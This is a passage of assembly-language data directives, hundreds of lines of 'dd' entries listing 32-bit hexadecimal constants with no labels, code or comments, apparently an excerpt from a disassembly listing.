		dd 0CE2A9885h, 98E45F2Eh, 0E618E2ACh, 8E87B106h, 0AE620B27h
		dd 0B6CB7255h, 894B4E17h, 0B5727797h, 7422D357h, 6D565372h
		dd 8045407Dh, 0BF61B3EEh, 3F5DD788h, 9FD3FFA6h,	5043E982h
		dd 7C6D5939h, 0F76C6316h, 0E40C2F95h, 5D700E46h, 1A3D1F54h
		dd 7808DE97h, 0F613E3C0h, 0BBAED06Fh, 0D139BCDBh, 8F1F8BA6h
		dd 3E7E682Ch, 6C3B2345h
		dd 24616E7h, 46B464AFh,	0EE68E089h, 92CBEF8h, 0C47A677Ah
		dd 0E4D40A93h, 0FE1BC830h, 0FBE894CDh, 0D99E2537h, 0DADCB5F6h
		dd 38736CD8h, 57CD877Ah, 13D712ACh, 2DA0FAB6h, 1E846C49h
		dd 987CAE85h, 1A89B2ABh, 2410A460h, 9FBF398h, 6DC0C0B4h
		dd 0C438486Eh, 0CC3A3DD0h, 0EE13F23Fh, 0CAB25D89h, 8F6FA564h
		dd 4F1C21D7h, 10F6AA3Ch, 0F1AA3C26h, 0AB5D8FE5h, 66CCB5A6h
		dd 0D0CAE427h, 2F5E346Eh, 986BF888h, 268A54ABh,	9D7B6359h
		dd 0FB2BB39Eh, 0DE815878h, 33AC1C25h, 6C620415h, 0CD3BCE0Eh
		dd 85D843AFh, 37209B51h, 21A57989h, 34BDA1B4h, 0F54A3B4Eh
		dd 0DCC1513Dh, 7FD4592Fh, 11195D1Ch, 0AB32EE05h, 600ACEB6h
		dd 89F2AD9Ch, 0E04236Dh, 70EBC284h, 77AFFC57h, 9B1B85A3h
		dd 79F93EEh, 23D602EEh,	0B2CE79FAh, 0BF2D8642h,	68D05BAFh
		dd 3D496603h, 6053B4A5h, 8F52530Fh, 0D7A55446h,	9AE2299h
		dd 2DA0B82Ch, 40F77876h, 0F1AC1C2Ch, 6C31FF9Eh,	185E3FA9h
		dd 55B5DAD9h, 62402294h, 0FFACABB2h, 2359A73Ah,	499F2D4Bh
		dd 604250C0h, 0CC3D93Fh, 2579E663h, 976D87F0h, 0F9E5B6B3h
		dd 0B49B73A7h, 80583880h, 0A768936Eh, 642AC244h, 281F063h
		dd 0C0441F20h, 0EF255894h, 0E397B967h, 0B6932145h, 34829E16h
		dd 6338274Ch, 0A5646F58h, 7B80BEF6h, 0E8F605C1h, 25E1707Eh
		dd 0B337293Bh, 2EFE665h, 0FEBF196Bh, 27C34B40h,	0D210ABC5h
		dd 0C2DFAD63h, 18ECF3D9h, 8851C94Fh, 0D0F1C394h, 36FD86FFh
		dd 0AA00EA4Fh, 3888526Eh, 61909961h, 7DA580E2h,	3F30D6EEh
		dd 961EF40Dh, 9F860F5Ah, 0A888FAE5h, 333BC170h,	293BCCF9h
		dd 4EFD247Ch, 0BF566CAh, 0FBBFC72Eh, 8C49EF4Ah,	0F2C71F82h
		dd 10DC90B4h, 608BA65Dh, 0D0C575FBh, 0DBEC57D7h, 0E74099A1h
		dd 0F739D2F6h, 820BCDD2h, 303FA649h, 1D1C2540h,	94C26028h
		dd 7345EBB8h, 3F6A2880h, 0AF186B6Eh, 5F430EABh,	4C2E7E6h
		dd 0C128988Ch, 33033752h, 56DE34BCh, 0C2AA0B4Eh, 856999D6h
		dd 111355B5h, 3E82817Ch, 9CC85B35h, 86413EE2h, 0C244FE2Ah
		dd 0FCF6C93Fh, 27A6E31Ch, 0D00C24E8h, 3C7E8528h, 7349E19Eh
		dd 0E2AFE7CEh, 32250621h, 0ABFB57A2h, 0D46C0270h, 0E255D490h
		dd 0A4C004CAh, 0FF8C0656h, 336E5A16h, 5BAB2449h, 0B5C53328h
		dd 0CF572ED8h, 720B0331h, 0B9A2BFCDh, 669FE8B5h, 178D0ADBh
		dd 0F26D4995h, 0E4949F93h, 0B1BCDDAFh, 8C373C1h, 49B42698h
		dd 0C0048BCDh, 1118F506h, 0D3E727C6h, 0AE67A3E7h, 0EFA31A7Ch
		dd 0F3277A53h, 5DD113D1h, 3B668045h, 208827ACh,	0E302E860h
		dd 0AA0A6D05h, 3DFAD436h, 0C2BAA50Bh, 0DEAF183Ch, 60A12435h
		dd 9D4BD482h, 0CBC1DC6h, 63E44466h, 0E0238370h,	86C66679h
		dd 0A2A6F6ECh, 0ACD3DB1Ch, 8F017C95h, 0BACB42E2h, 0CF3851C4h
		dd 74FE17DDh, 0A136646Eh, 9BFDDB0Ch, 33D1F3B4h,	0C580772Eh
		dd 6F61C44Bh, 0C31BCDEh, 106B5E40h, 3C388591h, 0ED8295F7h
		dd 129D42B9h, 8FB48195h, 374C97A7h, 3C55F04h, 2BE2B00Bh
		dd 0A79470C6h, 62356345h, 0E46867BBh, 53F858EFh, 0DEB2ACB9h
		dd 10BEC300h, 0F11E1BACh, 0AC0B25Eh, 0FEE664BDh, 1832C6D0h
		dd 146087F6h, 0A3ED8908h, 0A8DC4BFBh, 0F4236C20h, 11864E84h
		dd 5572D0D5h, 96205648h, 0B8610411h, 0E7E70AA0h, 0BD02F6BCh
		dd 3716BA36h, 0CE5A34F1h, 0E6F92ED7h, 624DF0B3h, 2598B480h
		dd 8064587Ah, 3EE227AEh, 8368C2ECh, 1FABFBF4h, 62826A6Ch
		dd 0F886A164h, 475018E6h, 6F5355A6h, 0DB7FA709h, 51297673h
		dd 7452C40Bh, 0A2B22A49h, 0CD567327h, 36CD3672h, 0D16E5A82h
		dd 3D586DBCh, 91F1174Dh, 0ABB15256h, 1548DCDBh,	0F7456404h
		dd 0F290732Fh, 9AFA0F92h, 74045800h, 0CB68EE93h, 0B8EE934Ch
		dd 9D89FA68h, 3DDC4CD7h, 0D16B3539h, 21779AB1h,	1895982Ch
		dd 76CDA24Ah, 1EBC9DCFh, 0B9F8893Ch, 9A8AD9BCh,	0EC6F3F83h
		dd 1708DC8Ch, 213B0BA0h, 0A84F75C3h, 97607C61h,	0F0FE10A0h
		dd 1C2D87CDh, 0E3D7947Dh, 48788A47h, 0CDFE3677h, 423B2D46h
		dd 41F61C20h, 8F63F441h, 4F4D60B1h, 2ACD7BAFh, 7EAA3595h
		dd 5D734AB9h, 79BD616Fh, 0D3FE95D3h, 0D8BCD587h, 901DED89h
		dd 8E9C6980h, 0F5416DC1h, 2B5D4BB0h, 0FB516377h, 6910D4DCh
		dd 0B9703102h, 0B370FC5h, 33355713h, 0E16DAC89h, 6DCCEBAh
		dd 4A34A6FDh, 0E05947B8h, 3985FB0Bh, 0C34B5021h, 2C551175h
		dd 0CEF1959Eh, 3FFD17D1h, 0D4595AD3h, 7DD6864Fh, 0A08CF0F9h
		dd 485888E3h, 9AA10299h, 0E96034AFh, 6B6533ECh,	0BBC41BADh
		dd 26950E42h, 0D09749B2h, 662B3875h, 0E951AEA8h, 49F56A4Eh
		dd 1A35BD50h, 71F60623h, 0A592A7Fh, 38E3B523h, 30957AEDh
		dd 0B868AA4Fh, 4177BAE8h, 0B0FDAAB6h, 0B206EE31h, 0E229D163h
		dd 67CFBC6Eh, 791EBF67h, 687507DEh, 0FDE2C9E1h,	49817A47h
		dd 0A081DFAAh, 2A3F08AEh, 8DC5B6B5h, 53C155BAh,	2FCF5A1Dh
		dd 0DE405DF6h, 0F377A966h, 5C0188BFh, 206AADA9h, 53B33816h
		dd 0E2B4AEB8h, 0F47D942Bh, 4C22E2A8h, 0C626B4B8h, 1148CD53h
		dd 430152ABh, 55332CB4h, 87D0104Dh, 0E00B4560h,	104E80EEh
		dd 6D1B0D74h, 1A8E528Eh, 94B82314h, 325D572Bh, 0BC04CBF0h
		dd 0E3C0D69Ch, 0CE4E3474h, 0BA9EA0C8h, 0A934918Ch, 63F8A400h
		dd 2C81FD22h, 5B1E6D00h, 0B67E9C7h, 0A573F1E5h,	957EA09Fh
		dd 528E2C26h, 44F1486Bh, 0FDA02049h, 0ADD938D6h, 0A85F48F6h
		dd 9B90C6C9h, 975A8371h, 2A3C8C6Bh, 0BB608278h,	6D00A3F4h
		dd 0E6B37789h, 1BEBC4E6h, 638F8BDFh, 39A565D1h,	0D34D22DFh
		dd 4289C88Eh, 70A86400h, 8E160348h, 511AED85h, 895433A4h
		dd 2665BA93h, 636AB666h, 0BF0B8326h, 3F50B1BBh,	1EE0BD75h
		dd 17B3C6ADh, 0CBDCDD04h, 1CCD08A8h, 50C6BD63h,	0D6738F33h
		dd 800562BDh, 0FDAACF22h, 0FC86211Fh, 0BCF8B3CDh, 577020ECh
		dd 4D0CA734h, 536A48CFh, 1D7492A3h, 0CB4A7983h,	32B7EBB6h
		dd 0ED1390E0h, 22B381F4h, 0EAC7019Eh, 0E15E5F99h, 7DB337BDh
		dd 2A19400Bh, 15E6483Ch, 46BDB738h, 0D03E8D61h,	9D045AC8h
		dd 0DD10A85h, 778075E7h, 0F1015CE7h, 7DE33F7Eh,	46AEE5BEh
		dd 9F54397h, 87F24AE0h,	4D150DCAh, 0E7DBE001h, 0D45327h
		dd 46E1CF11h, 2F18E970h, 9B566A72h, 86ECA46Dh, 9603C587h
		dd 0D6F8CEBCh, 0C82FDCB7h, 3235F34Ah, 96181497h, 0C9AB3DDBh
		dd 30938C9h, 96FA7E3Ah,	428D8501h, 8A3D11C2h, 70214518h
		dd 905B8375h, 2E928070h, 0E579E385h, 0E0D7F09Dh, 0D26E4FA1h
		dd 1044CB3h, 989A2F65h,	0BF5145A2h, 4D91B374h, 0B6C0FA5Fh
		dd 0F6AF3DB2h, 0A734E8Fh, 0B5FC54F3h, 878EA789h, 5C72EC33h
		dd 2C29F191h, 5E12E753h, 86024714h, 0EE653E5Ch,	0A2FB03CCh
		dd 0EE9708A6h, 0ECEDFA69h, 6EB8810Eh, 4BD19B22h, 2C3B85D6h
		dd 6F1246F9h, 2A6100F7h, 53930D86h, 6DCFF825h, 1B51643Bh
		dd 9FC3BD30h, 34BE9BC4h, 58EC91C0h, 3B0F4D3Eh, 1C00BFA2h
		dd 0C993EAA5h, 0C6B353F1h, 781E1AF1h, 8C5CA6EDh, 113C274Eh
		dd 0FE016F3h, 0BDF9040h, 9FB47794h, 2E7E4460h, 0E7A94637h
		dd 0EDB98972h, 0AC3BEF83h, 0D23696EBh, 0CAA8C35Dh, 0FEA67EA9h
		dd 0E74CB418h, 0B1397280h, 9D67C32Ch, 3FD95761h, 0D99638FDh
		dd 782D167Ch, 6D8C9B6Fh, 35197FF7h, 5D2A418Bh, 41F04AC7h
		dd 1478835Eh, 60227A6Dh, 0BD9CC2F2h, 3E5C1994h,	0F7D67FBDh
		dd 0C13F12ACh, 86A28062h
		dd 0C4FC26BDh, 0E75EBF5Ah, 62749E42h, 26CA76FBh, 0D151318h
		dd 9809922Ch, 0CA1A1A37h, 732A2674h, 34D60540h,	0C89FAB8Bh
		dd 0FEBF7F4h, 8EC35C83h, 0CD4D7AB0h, 420BF1C4h,	0CF60878Bh
		dd 0FED2DE0h, 2579FB33h, 0F4E5F747h, 0AF09E5E4h, 319F9A8Eh
		dd 5AB2DA85h, 4D7822Ch,	0A25340FCh, 0EF0F5F4Bh,	0C5EE4B73h
		dd 3D34A786h, 893C32B4h, 0A770A70Ch, 3906FC32h,	0C7BFC96Fh
		dd 15B4332h, 0E3CD353Eh, 87655Ch, 1953447Fh, 8862C308h
		dd 284283D7h, 0AF6D9AB0h, 0A8BA448Eh, 34B386F6h, 167CCE5Eh
		dd 5EBE1E64h, 0C2F136ACh, 0D40B3C73h, 54D345A2h, 0E494D837h
		dd 5CEFB4FCh, 0ED854423h, 0C8DB42Dh, 4972CA6h, 6A3B4DEBh
		dd 0EC75B562h, 68446548h, 0A7BD858Fh, 6B1725F0h, 0EF372110h
		dd 6A6D6B67h, 23D8940Fh, 304F7BDBh, 0E8AD6FFAh,	898F8745h
		dd 7B78D50Ah, 0F2CD0F9h, 0AC87D2A6h, 0CA3F467Ah, 2648EBDEh
		dd 5F43228Dh, 0B4A88899h, 444A21D0h, 75583D9h, 0D5023471h
		dd 5DE037A6h, 0B308834Fh, 96437A70h, 60F89112h,	75A9A39Fh
		dd 0E0CF00Ch, 548017ACh, 919E385h, 0D37217Eh, 0E46BD90Ah
		dd 0DADA0EF7h, 0C7DF4574h, 5A041E56h, 0C5EBEE37h, 0CF39A0A4h
		dd 5157311Fh, 0F795E265h, 0C43A61F5h, 25DE77C0h, 7800CA6Bh
		dd 6496AA20h, 0A6092243h, 0B5DC1618h, 6E6CD394h, 11E024D8h
		dd 114D765h, 864BDCF2h,	0ECE85861h, 74581C3Ah, 840EC1F3h
		dd 15D16E1Dh, 333C48ADh, 2763E811h, 94353720h, 12F3CA84h
		dd 44600AEEh, 67EA3D0h,	735E5293h, 66093F53h, 6928D27Dh
		dd 0E170B821h, 0C3224F00h, 118AD30h, 0C657C5A4h, 0EEC90E8Eh
		dd 415F5D08h, 0EF01C8F9h, 89047295h, 3413AE49h,	3666E2F7h
		dd 6D75A067h, 0C3B76BB6h, 0CA83AA25h, 5EDE8C02h, 0E99C45ECh
		dd 4E739B92h, 9D25DF2Dh, 1AC24C3Fh, 0B252DD52h,	194696F1h
		dd 0A188CC31h, 0DFF1EB4Eh, 0BB175DBEh, 5D5AC44h, 0C4DC2A2Ah
		dd 40711987h, 418B9375h, 0FBAF915Fh, 3EF55411h,	6AB5CC41h
		dd 0C4A612C6h, 2692F3FCh, 6502DEFCh, 0C02E3ED5h, 71241A15h
		dd 0EFDD20CEh, 4B0128B8h, 0B6A9E64Ah, 0CD6C70F2h, 47804EA5h
		dd 0DB20C4F3h, 0F058C2D3h, 3DFCAEE8h, 0F616894Fh, 6026813Bh
		dd 0F94BE26Fh, 0E57914F0h, 0ABA39897h, 0A32D83BDh, 752E75FEh
		dd 0A1C9FC5Ah, 8AB198F2h, 0BFEA8890h, 98B8C7CEh, 2DEBD22Eh
		dd 2677FB97h, 6DA858C5h, 7104C09Ah, 56933A1h, 0E58F1C7h
		dd 0D4C683CFh, 0E8635ECBh, 0E3FD8DD9h, 3180C1C6h, 97A4FF69h
		dd 67FBBD85h, 0D72CB052h, 0C68CC02Ah, 1E3D15E7h, 39CB9A7h
		dd 0D1E18FD4h, 0C10A93B8h, 35A8F959h, 95657E74h, 0ECF56C2Bh
		dd 43069A26h, 28C8696Eh, 0F8497992h, 0D0AB5D84h, 3A4A8217h
		dd 0AD3EFE1Ah, 0C6F9E20h, 293123B3h, 105F3E09h,	28BEDB77h
		dd 7389A5ADh, 0E0327232h, 89D6DFD8h, 0AE4C43h, 0CF6986E4h
		dd 0B0237365h, 632FC0Dh, 4FDD5841h, 4B101748h, 3056BAD8h
		dd 0F52B0608h, 0B56A1CAAh, 0B166865Ch, 3AF5B350h, 7D36794Bh
		dd 47903725h, 660A948Dh, 0C47210EBh, 19877304h,	84E4AEFAh
		dd 7F4F7BC2h, 1A2BDECEh, 7C1D0167h, 0F2DD1D39h,	0EE63A99Fh
		dd 9034EC5Dh, 0F6A04D5Fh, 0F0E5A6CAh, 249D842h,	20FB2E84h
		dd 0BFAB198Ah, 0E4314B7Ah, 0EADEFD4Fh, 51EE22C4h, 8D168B2Ch
		dd 4E87C42Fh, 998C0BF4h, 399C351Fh, 4335F7B6h, 7B2D5C55h
		dd 83429630h, 69AE149Fh, 0A95C0E0Fh, 0B38EA2FBh, 0F318B9CAh
		dd 0FF252A5h, 3F3F35D7h, 0F71B1E3Ah, 2E4B0059h,	0DDD610ECh
		dd 0B54C7E62h, 0D62AC3Eh, 0C7CE59F7h, 377500Ch,	0CEA6A21Eh
		dd 71C1DC18h, 0B998B77h, 89A81D20h, 0E629F0E2h,	8614FA7Dh
		dd 5E3D2E1Fh, 697F6521h, 7A0F578Fh, 32AB4093h, 0D24A5AC6h
		dd 2FBC14E1h, 862D2E9Bh, 2D7942C1h, 0F85ED323h,	412721ADh
		dd 17AE61BBh, 89CC4E24h, 9A72205Ah, 94A1DDF8h, 516549C2h
		dd 96A52A16h, 0BDF9FDF7h, 0A840A409h, 57468A71h, 81FECC05h
		dd 3714B607h, 6094F2D6h, 8943E7C8h, 0A8DBB58Ah,	769D94D2h
		dd 0ED19C39Dh, 473EA90Dh, 3F06C9C8h, 0F9FE3C7Ch, 4A877113h
		dd 0E39EB672h, 0E4DD50D2h, 0B6173198h, 24319E65h, 3E3AB847h
		dd 4972B870h, 0C6BFF724h, 0E441E0CFh, 546560F5h, 4B79E6E5h
		dd 0C9F82B45h, 53D601F4h, 1962E2A0h, 73D690D0h,	0C44B9FB4h
		dd 0C0B317B6h, 1800EDF9h, 25588445h, 0FCC5BD7Bh, 5BF6152Ch
		dd 3401EA13h, 5FF5B66Ch, 35E4A9D1h, 741D8A22h, 5575C13Dh
		dd 0BE3F6CF9h, 0C24FA3FFh, 2D32F4ADh, 65184120h, 4B5B6C15h
		dd 231FFC72h, 5BA043CCh, 0B6FDEBFDh, 69372267h,	25DEB38Fh
		dd 93D0111Ah, 0EEA723EDh, 0F380A416h, 0A86C784Dh, 13D61E47h
		dd 607BBDC8h, 3B115574h, 80ED8C36h, 127EAEA2h, 0DE768127h
		dd 0E88768D3h, 9E7FA315h, 0F8E7DD3Ah, 1FB87CAFh, 0FB5661F2h
		dd 7F3B9E00h, 3D68148h,	0FAC1078h, 6C3A8D2Fh, 0E2B438C2h
		dd 0F0BDD5B1h, 0B9AC2158h, 0FFBC140Dh, 866B129Ah, 487520F1h
		dd 97E45F20h, 73F7EE2Ah, 44682852h, 75F1026Dh, 0CCC30E8Dh
		dd 88F4E248h, 409E3366h, 0C2659256h, 25376500h,	0D22D848Fh
		dd 0DFF73694h, 5B9FBC92h, 979CD8F3h, 42E36917h,	66C65CF1h
		dd 4CCD7D1Dh, 0D96B3C13h, 7B18A279h, 3F3A7D62h,	93E23767h
		dd 0FE1F178Fh, 0AAC72C26h, 0D8E9BE57h, 0ECC69AF5h, 0CE74CA82h
		dd 0C7039EDFh, 0DE6560A5h, 0A77FF9BEh, 16CC7E7h, 2772991Bh
		dd 5D888CCAh, 0B8579ACDh, 0B888B645h, 428EBE8Eh, 0B7BA6062h
		dd 690BE2D2h, 844BA228h, 5628E518h, 6B34ACFDh, 75342085h
		dd 49B1EF47h, 9708B1Dh,	1CDA3762h, 9EDF9C40h, 5E56475Ch
		dd 3113541Dh, 0D3A232F5h, 6635F586h, 0AC41F66Ch, 47F48673h
		dd 7BC715ADh, 44FAB62Dh, 264667Ch, 0B49664h, 8DB5760Ch
		dd 0C1294E7Ah, 0AE14C4Ch, 39FEA14Dh, 0AC8F66E1h, 0D9F2B477h
		dd 0CD1F94DEh, 0AFAB8431h, 341DAD25h, 0BB1813E1h, 0F4D4952h
		dd 90C8EA94h, 0F45A60B6h, 9330D806h, 0CE2CEE1Dh, 43BDF12h
		dd 16E8E945h, 9EE7D56Bh, 535DBC46h, 8E1DC091h, 0C0929121h
		dd 5EB258FAh, 0FC3FCA82h, 0B1702181h, 35E9C147h, 1F20CA41h
		dd 83913EC2h, 0E7BE397Eh, 0ED0FBDBAh, 1EB332AFh, 4CAAEB5Fh
		dd 380A0BDEh, 478F0E5h,	0CBBB0E58h, 5CA7C89Dh, 865CAC97h
		dd 28AFF5D3h, 0B745F90Ah, 79F9DAB6h, 5566F57Dh,	0CCCD2732h
		dd 1D5DFEE9h, 0C02AF2CEh, 0A592E203h, 75535EB2h, 58F0561Bh
		dd 5F8FD766h, 0E26E5220h, 0CADCC1DDh, 9ACC490Ch, 88A28983h
		dd 99AA81E8h, 3346145Bh, 72A1A37Dh, 1B35D340h, 64C032A3h
		dd 1CACC6ADh, 3A6E5974h, 636810Eh, 5271C92Eh, 3A9FDA8Bh
		dd 64CC6E6Fh, 3877A63Eh, 0F6A0306Eh, 4897D953h,	5199909Dh
		dd 0A987D1DAh, 5C022DF1h, 83F684E8h, 52378C26h,	6D596CD0h
		dd 0A50E3F1Bh, 0A3E26B03h, 0DB6DA7FAh, 87C44C50h, 0C782F2C9h
		dd 0B61CF9E2h, 9F8D1CC7h, 7572A247h, 0D313D9D6h, 3DE6728Dh
		dd 69F60B78h, 51CE1768h, 0A7095DF6h, 1F70D1B6h,	233DA3ADh
		dd 0C611B843h, 6DF97879h, 0D611A868h, 965A9077h, 604D2997h
		dd 0FE8F655Bh, 0AF1A42CCh, 0DA31946Bh, 0E0CBAB45h, 0A75E14E2h
		dd 333BA298h, 695755D6h, 0C5A758D1h, 0D8865DFDh, 53E28794h
		dd 0EB83BDCBh, 0D54D33DDh, 40B80836h, 2A1ECD3Bh, 91172640h
		dd 0C3457F20h, 0F6B48E00h, 7C0E595h, 0D0C884F9h, 0CA994D9Fh
		dd 0A4125CE2h, 1E868ABDh
		dd 16CC4422h, 0B8665AA9h, 8789B9FDh, 7F515B85h,	87F9256Bh
		dd 7DE81091h, 3FCC4C71h, 4A57DD80h, 4F8AEAAFh, 0BBC48256h
		dd 1ED028E2h, 0F695CCC0h, 9E0D1F3Bh, 982F4747h,	4EF8AE72h
		dd 579A155Bh, 412E8C31h, 0A27C7DF7h, 286D32D9h,	2A849B77h
		dd 0BA470003h, 0F1E43114h, 0B0CDFABEh, 0B0097093h, 901751A8h
		dd 72A3E1CCh, 9728BE31h, 0DFC11529h, 0D3527C1Bh, 5B09E9C1h
		dd 7D6E1C5Ah, 1410829Ch, 698AB3B8h, 8DE166D2h, 0C72D467Bh
		dd 0DCA6183Ch, 0E643AC76h, 0D3774E0Ah, 60E5FB89h, 0FF42167Ah
		dd 88DD9C9h, 11B13FFDh,	0A0B4315Eh, 0BE6421C9h,	87952AAEh
		dd 9995F50Eh, 921BBF99h, 4B0676A8h, 7C1E1B8Eh, 80EE447Fh
		dd 3C619F82h, 75181048h, 0D5760133h, 0A4E88CB8h, 0E34A5CCh
		dd 0D256F4BFh, 0DF67C572h, 5D2389F3h, 0D168C04Dh, 0A62D0411h
		dd 5EEDF4EBh, 0DE72B9AEh, 402F36B6h, 56D0F732h,	553B8411h
		dd 1C72885Bh, 0E09954D9h, 780BEE01h, 0EF74D544h, 3429F03Bh
		dd 0B5FB863Eh, 0AFCDDA9h, 23E51BF3h, 733D4227h,	7E3F44ACh
		dd 8874164h, 317BFDEDh,	76F43E6Ah, 0C7DC6EA2h, 32CDB023h
		dd 9E2AEE8Fh, 0BD454840h, 2A464CA4h, 9999616Bh,	0E0A6FE8Bh
		dd 84CFE58Eh, 1B9B758Bh, 0CB894041h, 2E948A06h,	8AC86824h
		dd 6F0A33DAh, 0C33F6B72h, 0DD1B55BFh, 74356B74h, 5D1CB35h
		dd 9493A59Dh, 38E12D4Bh, 0B73E0E56h, 611F865h, 44051770h
		dd 3AE6FE20h, 0E4B24EB2h, 91A8C47h, 80981BE9h, 7299D32Dh
		dd 8065E760h, 9718F321h, 9DDA1F21h, 2E26D090h, 540338DBh
		dd 4FAA7133h, 457F4169h, 0D1B48959h, 0D3390A40h, 0C4F0D486h
		dd 0D9AB1A5Dh, 633F9225h, 5C8C1114h, 0C733DCE0h, 0D50541BCh
		dd 6DA89623h, 1CB31BD7h, 0A3293824h, 96612D9Ah,	95D9D3DAh
		dd 3FB74FFFh, 28DCDFBDh, 0F6AB3670h, 0DD570E3h,	8C0051FFh
		dd 0B367ED4Ch, 2F451ACAh, 6197037Ch, 0ED3369A9h, 0CE152B43h
		dd 0FEFE3127h, 5639F4A5h, 0F1CF1DE1h, 0C116EA41h, 0B1DFDDFCh
		dd 8F0E3825h, 0C5D206D8h, 2236CA03h, 25FDEBE0h,	86CDD3BFh
		dd 380053A8h, 0A2321D0Dh, 0D0B4B9BCh, 0E2B1E743h, 1EEBB383h
		dd 0A7916DFh, 47CDE2FBh, 6F10CE38h, 0BFE5A195h,	0F04ECFD9h
		dd 0C6B40B5Ch, 61CF6209h, 0CBA652D2h, 933E71EDh, 7C2F7F37h
		dd 9D3F05Bh, 3C7C6D1Dh,	56A0C8F9h, 6AC06E1Eh, 0A66C2212h
		dd 3E9AB10Fh, 0B1C8B442h, 83CF789Bh, 0BA779504h, 5AF7276Dh
		dd 0BF24D32Ch, 97FBF325h, 0C8E1CE62h, 1A4DD359h, 0BECE49CBh
		dd 0A5E05C2Ah, 4D6F0F16h, 3347E0E1h, 0B79437C4h, 9710B68Bh
		dd 50755A21h, 0BE1790Ah, 3E641527h, 675120E6h, 0F6939CEDh
		dd 0B090788Ah, 5ABED29Ch, 81D7C74Eh, 950E9E3h, 82771973h
		dd 481DC75Bh, 4A1F1256h, 0E9DCBE35h, 0F488A30Ch, 2EA26083h
		dd 47D9FF5Ah, 0E995FA4Fh, 327ABFCCh, 0A173C53Ah, 36FD2749h
		dd 0EBE41938h, 0AFAC20E7h, 1791C5E4h, 0D6D3734Ch, 6085A05Ah
		dd 0EBB4403h, 1FF0F0A1h, 9588F232h, 0CD9D8DB6h,	8388DF53h
		dd 70653090h, 0DB9B04B7h, 0B5B2A72Ch, 5979F6E2h, 315F6B27h
		dd 0CF1BDD74h, 72A0ED0Eh, 90CA2707h, 0CD9D1294h, 0D49D10DFh
		dd 6D484AFBh, 0EF63CA8Ah, 0E59EB0EDh, 857CF3C6h, 0C070A163h
		dd 87E92F3Ah, 0DE07D790h, 1862430h, 0A3C86C81h,	5B47EB1Ch
		dd 0CB67705Ch, 0A773E266h, 1AC85B13h, 0F96232F0h, 83A91ECCh
		dd 0AB33950Eh, 7A7B8A78h, 6530618Bh, 708F6EEh, 687A86FDh
		dd 2B73C3E4h, 97827ABh,	35DC233Bh, 0F88295C6h, 911A8670h
		dd 351C538Fh, 1E25837h,	7F011DA9h, 29FAC710h, 15D1239Ch
		dd 417FECF2h, 0E2CC45BCh, 0E4E5199Dh, 40EDDBD2h, 7A5FA178h
		dd 0E3F56877h, 8BF54755h, 0D14712A3h, 1EF83EA1h, 5A4055BEh
		dd 0E3E4F5CDh, 8F5F42E8h, 4A1694B0h, 0E18EC6C7h, 5D7B46EBh
		dd 0A6EA81FFh, 0CBF237D3h, 0D856F7BAh, 8CA16B38h, 2DA632F0h
		dd 1A29C71Bh, 4B387120h, 0DF64D0B6h, 353E7309h,	0E4C86DBEh
		dd 11684D56h, 37DC6D87h, 175718DBh, 0B080254Ch,	0AD62C4F1h
		dd 3B30A8C0h, 0C74EE7C1h, 8C7099DDh, 2C0823ABh,	1A34A06Fh
		dd 1377EC60h, 4C265452h, 0D2F0CD15h, 2EC147FDh,	974B43C1h
		dd 397B30D1h, 0C5AB7DD3h, 2BEF79F0h, 0FCCB4B46h, 0ACFA63h
		dd 0BA55E264h, 4E4A72Dh, 0FCC6ABB9h, 5122302Ah,	0A3F15807h
		dd 0D9EC7FCBh, 9A45C8D3h, 5DFD1819h, 8BB15C51h,	0B8C28E0Ch
		dd 8E6AB2B7h, 0CCB53288h, 56B35314h, 0DD158250h, 0C4329666h
		dd 0C28A4D75h, 16024DC5h, 6737D422h, 0AC302432h, 0E1A3552Fh
		dd 0AFC545C5h, 796ABCCAh, 0E87DBA1Eh, 9E1394EFh, 0CF0D1263h
		dd 1D9E8A02h, 176BBA17h, 0E62CDEE2h, 19CAB952h,	0DFBCA785h
		dd 9627557Dh, 9AD0FD59h, 0BCB2EC8Bh, 741CE23Ah,	0C64DA4FAh
		dd 8FA9136Fh, 306FE871h, 6D9C06C9h, 0DB54EBADh,	8D5EE4A2h
		dd 94041CB2h, 0EBD3D6EFh, 1821E7F8h, 0DD416FB5h, 29F09EDEh
		dd 10E10FBEh, 0DE3C244Ch, 0C649DC9Bh, 33F94E7Bh, 0FE90608h
		dd 0AA37E4E3h, 42B85EBDh, 4D4840A8h, 26F85EDBh,	0DACFD2FBh
		dd 4745E6C0h, 19338E9Ch, 0FDC0697Eh, 0A4CAB0ECh, 68B2CF63h
		dd 0F336FE2Bh, 68BF31B9h, 0A347F180h, 782EA377h, 0CED6D8C9h
		dd 0ACA8651h, 16657209h, 8D37127Eh, 96ECE984h, 32F847ABh
		dd 0FF38D7AFh, 354C38F1h, 0D7A62061h, 640F53C3h, 6F7BDFBh
		dd 42A038F4h, 61251109h, 1AE8962Eh, 0DF7C7E1Ch,	28CB4AE3h
		dd 0C3322176h, 43EFBD40h, 3F62D055h, 9B3B99E1h,	0B72CFCC2h
		dd 0EB50A2B0h, 6E6EE385h, 3E8E79A7h, 30FE688h, 0BA51ADFBh
		dd 9D7F5482h, 862E8600h, 9088B73Ch, 583722A3h, 4B0C645Eh
		dd 44AE322h, 5B2D7A3Bh,	34EDE607h, 0ADD00412h, 9D81B43Ch
		dd 0C91F1038h, 8A09FA01h, 945889Eh, 8000E25Fh, 65AE4CB1h
		dd 9D04FEA3h, 800577DAh, 851512BBh, 638D7832h, 5F864544h
		dd 60DEC37Ch, 0ED0C799Bh, 9DD9E580h, 344D4F6Ch,	5B77AF1Eh
		dd 7F2EC796h, 567EFB09h, 0E2CE0CDDh, 0FAC13261h, 6C7B0B25h
		dd 4D057910h, 0DB43B0F4h, 0C2171614h, 0DFA4F65Bh, 83258293h
		dd 815F7367h, 896BCD1Ah, 7826B5ECh, 0FC4390A1h,	0D8581F17h
		dd 3D34C158h, 84D5A823h, 0F72CC9Fh, 817C39E0h, 0DE5F58A3h
		dd 0ED17F121h, 0C174EBBCh, 3DA9B120h, 9EF41DEEh, 0DDECF331h
		dd 0EB8E0272h, 3C98D2C1h, 0E6A0423Bh, 17499A82h, 0E07DABDCh
		dd 0EE87A28Ch, 0A82EFBB1h, 0DF88D119h, 0EB51A8B0h, 0A50CC22Bh
		dd 495CDE38h, 2E69909Bh, 76D155BEh, 0E388E0D3h,	0DC428E35h
		dd 5B7A88C2h, 48D705D7h, 20607E63h, 0C35BE34Bh,	66787CC9h
		dd 78A269A0h, 0EE74830Fh, 0A742F52Dh, 67385104h, 9E466AEFh
		dd 74686E6Ch, 0A31CB71h, 0EFBB76E4h, 0A755B40Fh, 48B56A96h
